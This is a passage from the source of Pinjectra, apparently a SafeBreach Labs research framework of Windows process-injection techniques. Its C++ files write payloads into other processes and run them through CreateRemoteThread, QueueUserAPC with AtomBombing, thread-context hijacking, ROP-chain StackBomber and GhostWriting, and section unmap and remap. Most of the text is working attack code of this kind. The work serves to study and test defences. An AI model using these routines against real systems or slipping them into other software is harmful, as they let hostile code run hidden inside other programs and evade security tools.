{6def593e-7871-4acc-80cd-c26fba8b6c5e} 17 | 18 | 19 | {124f09f4-19fb-47da-9a09-2cd7d541dccf} 20 | 21 | 22 | {5097eef9-2f8b-4840-a1c7-14b778d5f985} 23 | 24 | 25 | {f586a254-8fa2-43f8-8db3-e484707c885a} 26 | 27 | 28 | {11ee65a1-d3a1-4a5b-9454-d8564d10f8f3} 29 | 30 | 31 | {2122b4af-1aa9-4a17-a74a-08fca81a7e71} 32 | 33 | 34 | {9661bb73-e3be-4731-9002-6e13531d0d4a} 35 | 36 | 37 | {6dd2fd37-3a4c-47e9-b922-44b95f69c016} 38 | 39 | 40 | {5d53066f-5787-43e1-84c6-5a31d25103ec} 41 | 42 | 43 | {6fb96738-80b2-4f1d-b8cc-9e588a785309} 44 | 45 | 46 | 47 | 48 | Source Files 49 | 50 | 51 | Source Files\ExecutionTechniques 52 | 53 | 54 | Source Files\Providers 55 | 56 | 57 | Source Files\ExecutionTechniques 58 | 59 | 60 | Source Files\ExecutionTechniques 61 | 62 | 63 | Source Files\ExecutionTechniques 64 | 65 | 66 | Source Files\ExecutionTechniques 67 | 68 | 69 | Source Files\ExecutionTechniques 70 | 71 | 72 | Source Files\ExecutionTechniques 73 | 74 | 75 | Source Files 76 | 77 | 78 | Source Files\Payloads 79 | 80 | 81 | Source Files\Payloads 82 | 83 | 84 | Source Files\ExecutionTechniques 85 | 86 | 87 | Source Files\Writing Techniques 88 | 89 | 90 | Source Files 91 | 92 | 93 | Source Files\Writing Techniques\Complex 94 | 95 | 96 | Source Files\Writing Techniques\Simple 97 | 98 | 99 | Source Files\Writing Techniques\Complex 100 | 101 | 102 | Source Files\Writing Techniques\Complex 103 | 104 | 105 | Source Files\Writing Techniques\Simple 106 | 107 | 108 | Source Files\Writing Techniques\Simple 109 | 110 | 111 | Source Files\Writing Techniques\Advance 112 | 113 | 114 | 115 | 116 | Header Files\Execution Techniques 117 | 118 | 119 | Header Files 120 | 121 | 122 | Header Files\Providers 123 | 124 | 125 | Header Files\Providers 126 | 127 | 128 | Header Files\Writing Techniques 129 | 130 | 131 | Header Files\Execution Techniques 132 | 133 | 134 | Header Files 135 | 136 | 137 | Header Files\Execution Techniques 138 | 139 | 140 | Header Files\Writing Techniques 141 | 142 | 143 | Header Files\Writing Techniques 144 | 145 | 146 | Header Files\Execution Techniques 147 | 148 | 149 | Header Files\Execution Techniques 150 | 151 | 152 | Header Files\Execution Techniques 153 | 154 | 155 | Header Files\Writing Techniques 156 | 157 | 158 | Header Files\Execution Techniques 159 | 160 | 161 | Header Files 162 | 163 | 164 | Header Files\Writing Techniques 165 | 166 | 167 | Header Files\Payloads 168 | 169 | 170 | Header Files\Payloads 171 | 172 | 173 | Header Files 174 | 175 | 176 | Header Files\Execution Techniques 177 | 178 | 179 | Header Files\Writing Techniques 180 | 181 | 182 | Header Files 183 | 184 | 185 | Header Files\Writing Techniques 186 | 187 | 188 | Header Files 189 | 190 | 191 | -------------------------------------------------------------------------------- /Pinjector/Pinjectra.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/pinjectra/9167b78c46240f6ad331a08db3f5a51c62aadc3b/Pinjector/Pinjectra.rc -------------------------------------------------------------------------------- /Pinjector/PinjectraDemo.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include 32 | 33 | // Injection Techniques 34 | #include "WindowsHook.h" 35 | #include "CreateRemoteThread.h" 36 | #include "SIR.h" 37 | #include "QueueUserAPC.h" 38 | #include "CtrlInject.h" 39 | #include "ALPC.h" 40 | #include "PROPagate.h" 41 | #include "SetWindowLongPtrA.h" 42 | 43 | // Writing Techniques 44 | #include "LLA_GPA.h" 45 | #include "OP_VAE_WPM.h" 46 | #include "CFMA_MVOF_OP_PNMVOS.h" 47 | #include "OT_OP_VAE_GAAA.h" 48 | #include "VAE_WPM.h" 49 | #include "NQAT_WITH_MEMSET.h" 50 | #include "GhostWriting.h" 51 | #include "CFMA_MVOF_NUVOS_NMVOS.h" 52 | 53 | // Providers (Other) 54 | #include "HookProcProvider.h" 55 | 56 | // Payloads 57 | extern "C" { 58 | #include "StaticPayloads.h" 59 | } 60 | 61 | #include "DynamicPayloads.h" 62 | 63 | /////////////// 64 | // Functions // 65 | /////////////// 66 | 67 | void usage(char *progname) 68 | { 69 | std::cout << "usage: " << progname << " " << std::endl << std::endl << 70 | "DEMOS:" << std::endl << 71 | "------" << std::endl << std::endl << 72 | "#1: (WindowsHook) " << std::endl << "\t+ LoadLibraryA_GetProcAddress(\"MsgBoxOnGetMsgProc.dll\", \"GetMsgProc\")" << std::endl << std::endl << 73 | "#2: (CreateRemoteThread) " << std::endl << "\t+ OpenProcess_VirtualAllocEx_WriteProcessMemory(\"MsgBoxOnProcessAttach.dll\") [Entry: LoadLibraryA]" << std::endl << std::endl << 74 | "#3: (CreateRemoteThread) " << std::endl << "\t+ CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection(Static PAYLOAD2)" << std::endl << std::endl << 75 | "#4: (SuspendThread/SetThreadContext/ResumeThread) " << std::endl << "\t+ OpenProcess_VirtualAllocEx_WriteProcessMemory(Static PAYLOAD1)" << std::endl << std::endl << 76 | "#5: (QueueUserAPC) " << std::endl << "\t+ OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA(Static PAYLOAD2)" << std::endl << std::endl << 77 | "#6: (CtrlInject) " << std::endl << "\t+ OpenProcess_VirtualAllocEx_WriteProcessMemory(Static PAYLOAD2)" << std::endl << std::endl << 78 | "#7: (ALPC)**" << std::endl << "\t+ VirtualAllocEx_WriteProcessMemory(Static PAYLOAD3) [Try on EXPLORER.EXE PID]" << std::endl << std::endl << 79 | "#8: (PROPagate) " << std::endl << "\t+ VirtualAllocEx_WriteProcessMemory(Static PAYLOAD2)" << std::endl << std::endl << 80 | "#9: (SuspendThread/ResumeThread)* " << std::endl << "\t+ NtQueueApcThread with memset(Dyanmic ROP_CHAIN_1)" << std::endl << std::endl << 81 | "#10: (SetWindowLongPtrA) " << std::endl << "\t+ VirtualAllocEx_WriteProcessMemory(Dyanmic PAYLOAD4)" << std::endl << std::endl << 82 | "#11: (SuspendThread/ResumeThread)* " << std::endl << "\t+ GhostWriting(Dyanmic ROP_CHAIN_2)" << std::endl << std::endl << 83 | "#12: (ProcessSuspendInjectAndResume) " << std::endl << "\t+ CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection(Dyanmic PAYLOAD5) [Try on EXPLORER.EXE PID]" << std::endl << std::endl << 84 | "* - Requires Target Thread to be in Alertable State" << std::endl << 85 | "** - Requires Target to use ALPC Port" << std::endl; 86 | 87 | return ; 88 | } 89 | 90 | ///////////////// 91 | // Entry Point // 92 | ///////////////// 93 | 94 | int main(int argc, char **argv) 95 | { 96 | DWORD pid, tid, demo_id; 97 | ExecutionTechnique* executor; 98 | 99 | if (argc < 4) 100 | { 101 | usage(argv[0]); 102 | return 0; 103 | } 104 | 105 | pid = atoi(argv[2]); 106 | tid = atoi(argv[3]); 107 | demo_id = atoi(argv[1]); 108 | 109 | switch (demo_id) 110 | { 111 | // WindowsHook Demo 112 | case 1: 113 | executor = new LoadDLLViaWindowsHook( 114 | new LoadLibraryA_GetProcAddress("MsgBoxOnGetMsgProc.dll", "GetMsgProc")); 115 | executor->inject(pid, tid); 116 | break; 117 | 118 | // CreateRemoteThread Demo + DLL Load (i.e., LoadLibraryA as Entry Point) 119 | case 2: 120 | executor = new CodeViaCreateRemoteThread( 121 | new OpenProcess_VirtualAllocEx_WriteProcessMemory( 122 | (void *)"MsgBoxOnProcessAttach.dll", 123 | 25, 124 | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, 125 | MEM_COMMIT | MEM_RESERVE, 126 | PAGE_READWRITE), 127 | LoadLibraryA 128 | ); 129 | executor->inject(pid, tid); 130 | break; 131 | 132 | //// CreateRemoteThread + Code Injection Demo 133 | case 3: 134 | executor = new CodeViaCreateRemoteThread( 135 | new CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection( 136 | _gen_payload_2(), 137 | PAYLOAD2_SIZE 138 | ) 139 | ); 140 | executor->inject(pid, tid); 141 | break; 142 | 143 | // Thread Execution Hijacking Variant #1 (aka. SIR) 144 | case 4: 145 | executor = new CodeViaThreadSuspendInjectAndResume( 146 | new OpenProcess_VirtualAllocEx_WriteProcessMemory( 147 | _gen_payload_1(), 148 | PAYLOAD1_SIZE, 149 | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, 150 | MEM_COMMIT | MEM_RESERVE, 151 | PAGE_EXECUTE_READWRITE) 152 | ); 153 | executor->inject(pid, tid); 154 | break; 155 | 156 | // QueueUserAPC + AtomBombing 157 | case 5: 158 | executor = new CodeViaQueueUserAPC( 159 | new OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA( 160 | _gen_payload_2(), 161 | PAYLOAD3_SIZE, 162 | PROCESS_ALL_ACCESS, 163 | MEM_RESERVE | MEM_COMMIT, 164 | PAGE_EXECUTE_READWRITE) 165 | ); 166 | executor->inject(pid, tid); 167 | break; 168 | 169 | // CtrlInject 170 | case 6: 171 | executor = new CodeViaCtrlInject( 172 | new OpenProcess_VirtualAllocEx_WriteProcessMemory( 173 | _gen_payload_2(), 174 | PAYLOAD3_SIZE, 175 | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, 176 | MEM_COMMIT | MEM_RESERVE, 177 | PAGE_EXECUTE_READWRITE) 178 | ); 179 | executor->inject(pid, tid); 180 | break; 181 | 182 | // ALPC 183 | case 7: 184 | executor = new CodeViaALPC( 185 | new VirtualAllocEx_WriteProcessMemory( 186 | _gen_payload_3(), 187 | PAYLOAD3_SIZE, 188 | MEM_COMMIT, 189 | PAGE_EXECUTE_READWRITE) 190 | ); 191 | executor->inject(pid, tid); 192 | break; 193 | 194 | // PROPagate (for EXPLORER) 195 | case 8: 196 | executor = new CodeViaPROPagate( 197 | new VirtualAllocEx_WriteProcessMemory( 198 | _gen_payload_2(), 199 | PAYLOAD2_SIZE, 200 | MEM_COMMIT, 201 | PAGE_EXECUTE_READWRITE) 202 | ); 203 | executor->inject(pid, tid); 204 | break; 205 | 206 | // StackBomber 207 | case 9: 208 | executor = new CodeViaThreadSuspendInjectAndResume_Complex( 209 | new NtQueueApcThread_WITH_memset( 210 | new _ROP_CHAIN_1() 211 | ) 212 | ); 213 | executor->inject(pid, tid); 214 | break; 215 | 216 | // SetWindowLongPtrA 217 | case 10: 218 | executor = new CodeViaSetWindowLongPtrA( 219 | new ComplexToMutableAdvanceMemoryWriter( 220 | new _PAYLOAD_4() 221 | , 222 | new VirtualAllocEx_WriteProcessMemory( 223 | NULL, 224 | 0, 225 | MEM_COMMIT | MEM_RESERVE, 226 | PAGE_EXECUTE_READWRITE) 227 | ) 228 | ); 229 | executor->inject(pid, tid); 230 | break; 231 | 232 | // SIR + GhostWriting 233 | case 11: 234 | executor = new CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex( 235 | new GhostWriting( 236 | new _ROP_CHAIN_2() 237 | ) 238 | ); 239 | executor->inject(pid, tid); 240 | break; 241 | 242 | // Unmap Map 243 | case 12: 244 | executor = new CodeViaProcessSuspendInjectAndResume_Complex ( 245 | new CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection( 246 | new _PAYLOAD_5() 247 | ) 248 | ); 249 | executor->inject(pid, tid); 250 | break; 251 | 252 | } 253 | } 254 | -------------------------------------------------------------------------------- /Pinjector/PinjectraPacket.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | #include 36 | #include 37 | 38 | #include 39 | 40 | // Data Types 41 | typedef std::map TStrDWORD64Map; 42 | typedef std::pair TStrDWORD64Pair; 43 | 44 | typedef struct { 45 | LPVOID buffer; 46 | SIZE_T buffer_size; 47 | TStrDWORD64Map *metadata; 48 | } PINJECTRA_PACKET; 49 | -------------------------------------------------------------------------------- /Pinjector/QueueUserAPC.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "QueueUserAPC.h" 32 | 33 | CodeViaQueueUserAPC::~CodeViaQueueUserAPC() 34 | { 35 | } 36 | 37 | boolean CodeViaQueueUserAPC::inject(DWORD pid, DWORD tid) 38 | { 39 | RUNTIME_MEM_ENTRY* result = this->m_memwriter->write(pid, tid); 40 | 41 | QueueUserAPC((PAPCFUNC)result->addr, result->thread, 0); 42 | 43 | return true; 44 | } 45 | -------------------------------------------------------------------------------- /Pinjector/QueueUserAPC.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Local Include's 34 | #include "ExecutionTechnique.h" 35 | #include "WritingTechniques.h" 36 | 37 | // Classes 38 | class CodeViaQueueUserAPC : 39 | public ExecutionTechnique 40 | { 41 | public: 42 | // Constructor & Destructor 43 | CodeViaQueueUserAPC(SimpleMemoryWriter* memwriter) 44 | :m_memwriter(memwriter) { } 45 | ~CodeViaQueueUserAPC(); 46 | 47 | // Methods 48 | boolean inject(DWORD pid, DWORD tid); 49 | 50 | protected: 51 | // Members 52 | SimpleMemoryWriter* m_memwriter; 53 | }; 54 | 55 | -------------------------------------------------------------------------------- /Pinjector/SIR.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | // Standard Include's 32 | #include 33 | #include 34 | #include 35 | 36 | // Local Include's 37 | #include "SIR.h" 38 | #include "DynamicPayloads.h" 39 | 40 | extern "C" { 41 | #include "misc.h" 42 | } 43 | 44 | //////////////////// 45 | // Thread Classes // 46 | //////////////////// 47 | 48 | CodeViaThreadSuspendInjectAndResume::~CodeViaThreadSuspendInjectAndResume() 49 | { 50 | } 51 | 52 | boolean CodeViaThreadSuspendInjectAndResume::inject(DWORD pid, DWORD tid) 53 | { 54 | CONTEXT old_ctx, new_ctx; 55 | RUNTIME_MEM_ENTRY* result; 56 | HANDLE tp; 57 | DWORD process_id; 58 | 59 | tp = OpenThread(THREAD_QUERY_INFORMATION, FALSE, tid); // THREAD_QUERY_INFORMATION is needed for GetProcessIdOfThread 60 | 61 | process_id = GetProcessIdOfThread(tp); 62 | 63 | if (process_id == 0) 64 | { 65 | std::cerr << "GetProcessIdOfThread Failed with " << GetLastError() << std::endl; 66 | return false; 67 | } 68 | 69 | result = this->m_memwriter->write(process_id, tid); 70 | 71 | if (result == NULL) { 72 | std::cerr << "Write Failed with" << GetLastError() << std::endl; 73 | return false; 74 | } 75 | 76 | HANDLE thread_handle = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, tid); 77 | if (thread_handle == NULL) 78 | { 79 | std::cerr << "OpenThread Failed with " << GetLastError() << std::endl; 80 | return false; 81 | } 82 | 83 | SuspendThread(thread_handle); 84 | old_ctx.ContextFlags = CONTEXT_ALL; 85 | if (!GetThreadContext(thread_handle, &old_ctx)) 86 | { 87 | std::cerr << "GetThreadContext Failed with " << GetLastError() << std::endl; 88 | return false; 89 | } 90 | 91 | new_ctx = old_ctx; 92 | new_ctx.Rip = (DWORD64)result->addr; 93 | 94 | if (!SetThreadContext(thread_handle, &new_ctx)) 95 | { 96 | std::cerr << "SetThreadContext Failed with " << GetLastError() << std::endl; 97 | return false; 98 | } 99 | 100 | ResumeThread(thread_handle); 101 | Sleep(10000); 102 | SuspendThread(thread_handle); 103 | SetThreadContext(thread_handle, &old_ctx); 104 | ResumeThread(thread_handle); 105 | 106 | return true; 107 | } 108 | 109 | ////////////////////// 110 | // Complex Variants // 111 | ////////////////////// 112 | 113 | // Used for Stack Bomber 114 | CodeViaThreadSuspendInjectAndResume_Complex::~CodeViaThreadSuspendInjectAndResume_Complex() 115 | { 116 | } 117 | 118 | boolean CodeViaThreadSuspendInjectAndResume_Complex::inject(DWORD pid, DWORD tid) 119 | { 120 | TARGET_PROCESS target; 121 | TStrDWORD64Map runtime_parameters; 122 | HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, tid); 123 | SuspendThread(t); 124 | CONTEXT context; 125 | context.ContextFlags = CONTEXT_ALL; 126 | if (!GetThreadContext(t, &context)) 127 | { 128 | printf("GetThreadContext failed with error 0x%08x\n", GetLastError()); 129 | return 0; 130 | } 131 | //printf("Thread's RSP=0x%016llx\n Rip=0x%016llx", context.Rsp, context.Rip); 132 | runtime_parameters["orig_tos"] = (DWORD64)context.Rsp; 133 | runtime_parameters["tos"] = runtime_parameters["orig_tos"] - 0x2000; 134 | 135 | // Setup Target 136 | target.thread = t; 137 | target.tid = tid; 138 | 139 | this->m_memwriter->eval_and_write(&target, runtime_parameters); 140 | 141 | ResumeThread(t); 142 | } 143 | 144 | // Used for Ghost Writing 145 | CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex::~CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex() 146 | { 147 | } 148 | 149 | boolean CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex::inject(DWORD pid, DWORD tid) 150 | { 151 | PINJECTRA_PACKET* output; 152 | TARGET_PROCESS target; 153 | TStrDWORD64Map runtime_parameters; 154 | HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, tid); 155 | 156 | // Save target thread original state 157 | SuspendThread(t); 158 | CONTEXT old_ctx; 159 | old_ctx.ContextFlags = CONTEXT_ALL; 160 | if (!GetThreadContext(t, &old_ctx)) 161 | { 162 | printf("OOPS - GTC failed with 0x%08x\n", GetLastError()); 163 | exit(0); 164 | } 165 | 166 | //printf("Thread's RSP=0x%016llx\n Rip=0x%016llx", context.Rsp, context.Rip); 167 | runtime_parameters["OLD_CTX"] = (DWORD64)& old_ctx; 168 | runtime_parameters["OLD_CTX_RSP"] = old_ctx.Rsp; 169 | 170 | // Setup Target 171 | target.thread = t; 172 | target.tid = tid; 173 | 174 | output = this->m_memwriter->eval_and_write(&target, runtime_parameters); 175 | 176 | TStrDWORD64Map& tMetadata = *output->metadata; 177 | 178 | old_ctx.Rsp = tMetadata["NEW_STACK_POS"]; 179 | old_ctx.Rip = tMetadata["GADGET_popregs"]; 180 | SetThreadContext(t, &old_ctx); 181 | ResumeThread(t); 182 | _wait_until_done(t, tMetadata["GADGET_loop"]); 183 | 184 | // Resume original flow in target thread 185 | SuspendThread(t); 186 | SetThreadContext(t, &old_ctx); 187 | ResumeThread(t); 188 | } 189 | 190 | ///////////////////// 191 | // Process Classes // 192 | ///////////////////// 193 | 194 | CodeViaProcessSuspendInjectAndResume_Complex::~CodeViaProcessSuspendInjectAndResume_Complex() 195 | { 196 | } 197 | 198 | #define TARGET "ntdll" 199 | #define TARGET_FUNCTION GetProcAddress(GetModuleHandleA("ntdll"),"NtClose") 200 | #define TARGET_CAVE GetProcAddress(GetModuleHandleA("ntdll"),"atan") 201 | 202 | boolean CodeViaProcessSuspendInjectAndResume_Complex::inject(DWORD pid, DWORD tid) 203 | { 204 | PINJECTRA_PACKET* output; 205 | TARGET_PROCESS target; 206 | TStrDWORD64Map runtime_parameters; 207 | 208 | HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_SUSPEND_RESUME, FALSE, pid); 209 | 210 | if (hProcess == NULL) { 211 | printf("OpenProcess: %x\n", GetLastError()); 212 | } 213 | 214 | typedef LONG(NTAPI * NtSuspendProcess)(IN HANDLE ProcessHandle); 215 | typedef LONG(NTAPI * NtResumeProcess)(IN HANDLE ProcessHandle); 216 | 217 | NtSuspendProcess pfnNtSuspendProcess = (NtSuspendProcess)GetProcAddress(GetModuleHandleA("ntdll"), "NtSuspendProcess"); 218 | NtResumeProcess pfnNtResumeProcess = (NtResumeProcess)GetProcAddress(GetModuleHandleA("ntdll"), "NtResumeProcess"); 219 | 220 | NTSTATUS x = (*pfnNtSuspendProcess)(hProcess); 221 | if (x != 0) 222 | { 223 | printf("NtSuspendProcess returned 0x%08x\n", x); 224 | } 225 | 226 | // Update Inject-specific Parameters 227 | runtime_parameters["TARGET"] = (DWORD64)_strdup(TARGET); 228 | runtime_parameters["TARGET_CAVE"] = (DWORD64)TARGET_CAVE; 229 | runtime_parameters["TARGET_FUNCTION"] = (DWORD64)TARGET_FUNCTION; 230 | 231 | // Setup Target 232 | target.process = hProcess; 233 | target.pid = pid; 234 | 235 | // Eval & Write 236 | this->m_memwriter->eval_and_write(&target, runtime_parameters); 237 | 238 | (*pfnNtResumeProcess)(hProcess); 239 | 240 | return 1; 241 | } 242 | -------------------------------------------------------------------------------- /Pinjector/SIR.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights 